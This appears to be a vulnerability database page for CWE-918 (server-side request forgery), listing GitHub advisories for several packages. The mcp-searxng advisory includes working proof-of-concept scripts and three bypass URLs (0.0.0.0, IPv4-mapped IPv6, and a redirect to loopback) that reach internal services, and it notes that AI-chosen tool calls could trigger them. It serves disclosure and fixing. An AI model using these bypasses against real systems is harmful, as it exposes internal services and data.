CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5689 vulnerabilities reference this CWE, most recent first.
GHSA-WP52-R2FP-4VMR
Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-19 16:35Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pdfmake"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0-beta.2"
},
{
"fixed": "0.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26801"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T21:12:09Z",
"nvd_published_at": "2026-03-10T19:17:17Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.",
"id": "GHSA-wp52-r2fp-4vmr",
"modified": "2026-03-19T16:35:25Z",
"published": "2026-03-10T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26801"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/pull/2920"
},
{
"type": "PACKAGE",
"url": "https://github.com/bpampuch/pdfmake"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/blob/master/src/URLResolver.js"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/releases/tag/0.3.6"
},
{
"type": "WEB",
"url": "https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pdfmake is vulnerable to server-side request forgery (SSRF)"
}
GHSA-WPF2-5J53-3CXV
Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-21 21:30An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.
{
"affected": [],
"aliases": [
"CVE-2025-29450"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T21:15:50Z",
"severity": "MODERATE"
},
"details": "An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.",
"id": "GHSA-wpf2-5j53-3cxv",
"modified": "2025-04-21T21:30:30Z",
"published": "2025-04-17T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29450"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/ftlzvxve3t5713c6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WPFF-WM84-X5CX
Vulnerability from github – Published: 2024-04-04 14:39 – Updated: 2025-06-30 17:54Impact
What kind of vulnerability is it? Who is impacted? SSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization’s infrastructure. When malicious app is uploaded to Static analyzer, it is possible to make internal requests.
Credits: Oleg Surnin (Positive Technologies).
Patches
Has the problem been patched? What versions should users upgrade to? v3.9.8 and above
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading? Code level patch
References
Are there any links users can visit to find out more? https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.7"
},
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-31215"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-04T14:39:03Z",
"nvd_published_at": "2024-04-04T16:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nSSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization\u2019s infrastructure. When malicious app is uploaded to Static analyzer, it is possible to make internal requests.\n\nCredits: Oleg Surnin (Positive Technologies).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nv3.9.8 and above\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nCode level patch\n\n### References\n_Are there any links users can visit to find out more?_\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373",
"id": "GHSA-wpff-wm84-x5cx",
"modified": "2025-06-30T17:54:56Z",
"published": "2024-04-04T14:39:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-wpff-wm84-x5cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31215"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/43bb71d115d78c03faa82d75445dd908e9b32716"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mobile Security Framework (MobSF) vulnerable to SSRF in firebase database check"
}
GHSA-WPH3-44RJ-92PR
Vulnerability from github – Published: 2021-06-16 17:04 – Updated: 2022-08-11 00:02Impact
We recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration.
Patches
The issues were addressed in our last release, 2.1.59.
Workarounds
If you can't update to 2.1.59, make sure your connector is not exposed without authentication.
Reference
Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.
For more information
If you have any questions or comments about this advisory, you can contact: - The original reporters, by sending an email to vulnerability.research@sonarsource.com; - The maintainers, by opening an issue on this repository.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "studio-42/elfinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32682"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-78",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-15T21:01:45Z",
"nvd_published_at": "2021-06-14T17:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration. \n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59. \n\n### Workarounds\n\nIf you can\u0027t update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n - The maintainers, by opening an issue on this repository.",
"id": "GHSA-wph3-44rj-92pr",
"modified": "2022-08-11T00:02:01Z",
"published": "2021-06-16T17:04:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-qm58-cvvm-c5qr"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32682"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17"
},
{
"type": "WEB",
"url": "https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities"
},
{
"type": "PACKAGE",
"url": "https://github.com/Studio-42/elFinder"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164173/elFinder-Archive-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE"
}
GHSA-WPHX-MJPF-39XM
Vulnerability from github – Published: 2025-03-22 09:30 – Updated: 2025-03-22 09:30The Your Friendly Drag and Drop Page Builder — Make Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.10 via the make_builder_ajax_subscribe() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13856"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-22T07:15:24Z",
"severity": "MODERATE"
},
"details": "The Your Friendly Drag and Drop Page Builder \u2014 Make Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.10 via the make_builder_ajax_subscribe() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-wphx-mjpf-39xm",
"modified": "2025-03-22T09:30:32Z",
"published": "2025-03-22T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13856"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/make-builder/trunk/plugins-screen.php#L83"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3259333%40make-builder%2Ftrunk\u0026old=2235851%40make-builder%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/make-builder/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7ffcb74b-230b-4629-b22d-5db96ac5fa06?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WPPF-H75H-6PM6
Vulnerability from github – Published: 2026-08-19 19:23 – Updated: 2026-08-19 19:23Summary
mcp-searxng has a hardened-mode URL-reading feature intended to prevent web_url_read from reaching private or internal network resources.
PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.
However, several other hardened-mode SSRF bypasses still appear to remain:
- Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.
0.0.0.0is not treated as an internal/special address.- IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.
With hardened mode enabled and private URLs not explicitly allowed, web_url_read was still able to fetch and return content from a local loopback sentinel service in all three cases.
Tested configuration
MCP_HTTP_HARDEN=true
MCP_HTTP_ALLOW_PRIVATE_URLS unset
The MCP server was driven over stdio.
The test target was a harmless internal sentinel HTTP service bound to:
127.0.0.1:6789
The sentinel response contained:
INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2
Relationship to PR #79
I tested PR #79 locally:
- PR:
fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79 - PR commit tested:
e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4 - Base issue class: CWE-918 / SSRF in
web_url_read - Hardened mode: enabled
Observed results:
Case Result on PR #79
-------------------------------------------------------------
DNS hostname resolving to 127.0.0.1 blocked
0.0.0.0 BYPASS
[::ffff:127.0.0.1] BYPASS
redirect from non-private IP to 127.0.0.1 BYPASS
So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.
Root cause
1. Redirect targets are not re-validated
The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.
A non-private attacker-controlled first-hop URL can respond with:
302 Location: http://127.0.0.1:6789/secret
The request is then followed to loopback.
This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.
2. 0.0.0.0 is not treated as internal
0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.
In my test, this URL returned the sentinel from the local loopback service:
http://0.0.0.0:6789/secret
3. IPv4-mapped IPv6 canonicalization bypass
The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:
::ffff:127.0.0.1
However, Node's WHATWG URL parser canonicalizes:
new URL("http://[::ffff:127.0.0.1]/").hostname
to:
[::ffff:7f00:1]
As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.
In my test, this URL returned the loopback sentinel:
http://[::ffff:127.0.0.1]:6789/secret
Impact
This is a hardened-mode SSRF bypass.
The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.
In real deployments, the same class of issue could allow web_url_read to reach:
- local admin panels bound to loopback;
- Redis, Elasticsearch, or other local HTTP-like services;
- internal HTTP APIs on private networks;
- service mesh endpoints;
- cloud metadata endpoints, depending on routing and environment.
This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger web_url_read with one of these bypass URLs.
Proof of Concept
1. Build the PR #79 branch
cd /home/exouser/Desktop
mkdir -p searxng_pr79_test
cd searxng_pr79_test
git clone --depth 1 \
-b fix/cwe918-url-reader-ssrf-4676 \
https://github.com/sebastiondev/mcp-searxng.git pr79
cd pr79
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/index.js
Expected PR commit:
e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
2. Start an internal sentinel service
This service represents an internal-only HTTP service reachable from the MCP server host.
cat > /tmp/searxng_sentinel_server.py <<'PY'
#!/usr/bin/env python3
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
class H(BaseHTTPRequestHandler):
def do_GET(self):
body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))
def serve_v4():
HTTPServer(("127.0.0.1", PORT), H).serve_forever()
def serve_v6():
try:
import socket
class HTTPServerV6(HTTPServer):
address_family = socket.AF_INET6
HTTPServerV6(("::1", PORT), H).serve_forever()
except Exception as e:
sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")
threading.Thread(target=serve_v4, daemon=True).start()
serve_v6()
PY
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1
curl -sS http://127.0.0.1:6789/secret
Expected output contains:
INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2
3. PoC A: 0.0.0.0
cat > /tmp/poc_0_0_0_0.py <<'PY'
#!/usr/bin/env python3
import json
import os
import subprocess
import time
import sys
from pathlib import Path
REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
SERVER = REPO / "dist" / "index.js"
SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
ENV = {
"MCP_HTTP_HARDEN": "true",
"MCP_HTTP_AUTH_TOKEN": "poc-token",
"MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
}
def send(p, o):
p.stdin.write((json.dumps(o) + "\n").encode())
p.stdin.flush()
def recv(p, want_id, timeout=20):
end = time.time() + timeout
while time.time() < end:
line = p.stdout.readline()
if not line:
time.sleep(0.05)
continue
try:
m = json.loads(line.decode())
except Exception:
continue
if m.get("id") == want_id:
return m
raise TimeoutError()
def main():
url = "http://0.0.0.0:6789/secret"
print(f"[poc] hardened-mode read_url url = {url!r}")
p = subprocess.Popen(
["node", str(SERVER)],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=str(REPO),
env={**os.environ, **ENV},
)
try:
send(p, {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "poc", "version": "0"}
}
})
recv(p, 1)
send(p, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {}
})
send(p, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "web_url_read",
"arguments": {
"url": url,
"maxLength": 400
}
}
})
r = recv(p, 2)
finally:
try:
p.terminate()
p.wait(timeout=3)
except Exception:
p.kill()
text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
if SENTINEL in text:
print("[poc] RESULT: BYPASS — sentinel returned")
try:
print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
except Exception:
pass
sys.exit(0)
print("[poc] RESULT: blocked / failed")
print(json.dumps(r)[:500])
sys.exit(1)
if __name__ == "__main__":
main()
PY
python3 /tmp/poc_0_0_0_0.py
Observed:
[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
4. PoC B: IPv4-mapped IPv6
sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py
python3 /tmp/poc_ipv4_mapped_ipv6.py
Observed:
[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
5. PoC C: redirect from a non-private first-hop address to loopback
This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.
sudo ip addr add 198.51.100.1/32 dev lo
cat > /tmp/redirector_public.py <<'PY'
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:6789/secret")
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args, **kwargs):
pass
HTTPServer(("198.51.100.1", 6790), H).serve_forever()
PY
fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1
curl -sSL http://198.51.100.1:6790/jump
The curl sanity check should return the internal sentinel.
Now run the MCP request:
sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py
python3 /tmp/poc_redirect_public_to_loopback.py
Observed:
[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
[poc] RESULT: BYPASS — sentinel returned
Cleanup
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true
Reproduction note
NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:
INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2
When grepping or matching the response, either match against the escaped form or normalize \_ back to _.
Expected behavior
When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:
- direct special-address literals;
- IPv4-mapped IPv6 literals;
- redirect chains;
- hostnames that resolve to private or internal addresses.
Actual behavior
With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:
http://0.0.0.0:6789/secret
http://[::ffff:127.0.0.1]:6789/secret
http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret
Suggested fix
A complete fix likely needs more than a connect-time DNS lookup guard.
Suggested changes:
- Re-validate every redirect hop. One option is to use
redirect: "manual"and apply the same URL policy to eachLocationbefore following it. - Treat
0.0.0.0/8and other IANA special-purpose ranges as internal/non-public. - Handle IPv4-mapped IPv6 after canonicalization, including forms such as
[::ffff:7f00:1]. - Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
- Add regression tests for:
- redirect to
127.0.0.1; 0.0.0.0;[::ffff:127.0.0.1];- hostname resolving to
127.0.0.1; - decimal IPv4 normalization remaining blocked. ```
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcp-searxng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54689"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-19T19:23:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources.\n\nPR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.\n\nHowever, several other hardened-mode SSRF bypasses still appear to remain:\n\n1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.\n2. `0.0.0.0` is not treated as an internal/special address.\n3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.\n\nWith hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases.\n\n## Tested configuration\n\n```bash\nMCP_HTTP_HARDEN=true\nMCP_HTTP_ALLOW_PRIVATE_URLS unset\n```\n\nThe MCP server was driven over stdio.\n\nThe test target was a harmless internal sentinel HTTP service bound to:\n\n```text\n127.0.0.1:6789\n```\n\nThe sentinel response contained:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n## Relationship to PR #79\n\nI tested PR #79 locally:\n\n- PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79`\n- PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4`\n- Base issue class: CWE-918 / SSRF in `web_url_read`\n- Hardened mode: enabled\n\nObserved results:\n\n```text\nCase Result on PR #79\n-------------------------------------------------------------\nDNS hostname resolving to 127.0.0.1 blocked\n0.0.0.0 BYPASS\n[::ffff:127.0.0.1] BYPASS\nredirect from non-private IP to 127.0.0.1 BYPASS\n```\n\nSo PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.\n\n## Root cause\n\n### 1. Redirect targets are not re-validated\n\nThe URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop.\n\nA non-private attacker-controlled first-hop URL can respond with:\n\n```http\n302 Location: http://127.0.0.1:6789/secret\n```\n\nThe request is then followed to loopback.\n\nThis is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`.\n\n### 2. `0.0.0.0` is not treated as internal\n\n`0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:\u003cport\u003e` can reach a local service bound on loopback or wildcard interfaces.\n\nIn my test, this URL returned the sentinel from the local loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\n```\n\n### 3. IPv4-mapped IPv6 canonicalization bypass\n\nThe current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:\n\n```text\n::ffff:127.0.0.1\n```\n\nHowever, Node\u0027s WHATWG URL parser canonicalizes:\n\n```js\nnew URL(\"http://[::ffff:127.0.0.1]/\").hostname\n```\n\nto:\n\n```text\n[::ffff:7f00:1]\n```\n\nAs a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.\n\nIn my test, this URL returned the loopback sentinel:\n\n```text\nhttp://[::ffff:127.0.0.1]:6789/secret\n```\n\n## Impact\n\nThis is a hardened-mode SSRF bypass.\n\nThe sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.\n\nIn real deployments, the same class of issue could allow `web_url_read` to reach:\n\n- local admin panels bound to loopback;\n- Redis, Elasticsearch, or other local HTTP-like services;\n- internal HTTP APIs on private networks;\n- service mesh endpoints;\n- cloud metadata endpoints, depending on routing and environment.\n\nThis is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs.\n\n## Proof of Concept\n\n### 1. Build the PR #79 branch\n\n```bash\ncd /home/exouser/Desktop\nmkdir -p searxng_pr79_test\ncd searxng_pr79_test\n\ngit clone --depth 1 \\\n -b fix/cwe918-url-reader-ssrf-4676 \\\n https://github.com/sebastiondev/mcp-searxng.git pr79\n\ncd pr79\ngit rev-parse HEAD\n\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/index.js\n```\n\nExpected PR commit:\n\n```text\ne55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4\n```\n\n### 2. Start an internal sentinel service\n\nThis service represents an internal-only HTTP service reachable from the MCP server host.\n\n```bash\ncat \u003e /tmp/searxng_sentinel_server.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nPORT = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 6789\nSENTINEL = b\"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n body = b\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003einternal\u003c/h1\u003e\u003cp\u003e\" + SENTINEL + b\"\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\"\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n sys.stderr.write(\"[sentinel %s] %s\\n\" % (PORT, fmt % args))\n\ndef serve_v4():\n HTTPServer((\"127.0.0.1\", PORT), H).serve_forever()\n\ndef serve_v6():\n try:\n import socket\n class HTTPServerV6(HTTPServer):\n address_family = socket.AF_INET6\n HTTPServerV6((\"::1\", PORT), H).serve_forever()\n except Exception as e:\n sys.stderr.write(f\"[sentinel] IPv6 listener failed: {e}\\n\")\n\nthreading.Thread(target=serve_v4, daemon=True).start()\nserve_v6()\nPY\n\nfuser -k 6789/tcp 6790/tcp 2\u003e/dev/null || true\nnohup python3 /tmp/searxng_sentinel_server.py 6789 \u003e/tmp/searxng_sentinel.log 2\u003e\u00261 \u0026\nsleep 1\n\ncurl -sS http://127.0.0.1:6789/secret\n```\n\nExpected output contains:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n### 3. PoC A: `0.0.0.0`\n\n```bash\ncat \u003e /tmp/poc_0_0_0_0.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport os\nimport subprocess\nimport time\nimport sys\nfrom pathlib import Path\n\nREPO = Path(\"/home/exouser/Desktop/searxng_pr79_test/pr79\")\nSERVER = REPO / \"dist\" / \"index.js\"\nSENTINEL = \"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nENV = {\n \"MCP_HTTP_HARDEN\": \"true\",\n \"MCP_HTTP_AUTH_TOKEN\": \"poc-token\",\n \"MCP_HTTP_ALLOWED_ORIGINS\": \"http://localhost:9999\",\n}\n\ndef send(p, o):\n p.stdin.write((json.dumps(o) + \"\\n\").encode())\n p.stdin.flush()\n\ndef recv(p, want_id, timeout=20):\n end = time.time() + timeout\n while time.time() \u003c end:\n line = p.stdout.readline()\n if not line:\n time.sleep(0.05)\n continue\n try:\n m = json.loads(line.decode())\n except Exception:\n continue\n if m.get(\"id\") == want_id:\n return m\n raise TimeoutError()\n\ndef main():\n url = \"http://0.0.0.0:6789/secret\"\n print(f\"[poc] hardened-mode read_url url = {url!r}\")\n\n p = subprocess.Popen(\n [\"node\", str(SERVER)],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=str(REPO),\n env={**os.environ, **ENV},\n )\n\n try:\n send(p, {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"}\n }\n })\n recv(p, 1)\n\n send(p, {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {}\n })\n\n send(p, {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"web_url_read\",\n \"arguments\": {\n \"url\": url,\n \"maxLength\": 400\n }\n }\n })\n\n r = recv(p, 2)\n finally:\n try:\n p.terminate()\n p.wait(timeout=3)\n except Exception:\n 